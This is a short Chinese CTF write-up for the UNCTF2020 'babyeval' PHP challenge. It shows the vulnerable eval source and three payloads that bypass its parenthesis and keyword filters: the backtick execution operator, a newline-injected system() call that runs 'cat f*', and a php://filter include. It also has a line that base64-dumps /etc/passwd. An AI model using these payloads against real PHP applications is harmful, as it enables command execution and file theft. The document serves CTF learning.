UNCTF2020-WEB:babyeval(php执行运算符|php过滤括号|换行符绕过正则)
php执行运算符
代码:
<?php echo `base64 /etc/passwd`; ?>
上面的代码使用了反引号,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)
如果过滤了括号可以使用执行运算符去绕过进行输出
题目源码:
<?php // flag在flag.php if(isset($_GET['a'])){ if(preg_match('/\(.*\)/', $_GET['a'])) die('hacker!!!'); ob_start(function($data){ if (strpos($data, 'flag') !== false) return 'ByeBye hacker'; return false; }); eval($_GET['a']); } else { highlight_file(__FILE__); } ?>
exp1:php执行运算符
GET /?a=echo `base64 flag.php`
exp2:换行符绕过(%0a)
GET /?a=system(%27%0acat%20f*%20|%20base64%27);
exp3:利用include函数加php伪协议
GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;
参考:https://www.php.net/manual/zh/language.operators.execution.php
https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2020UNCTF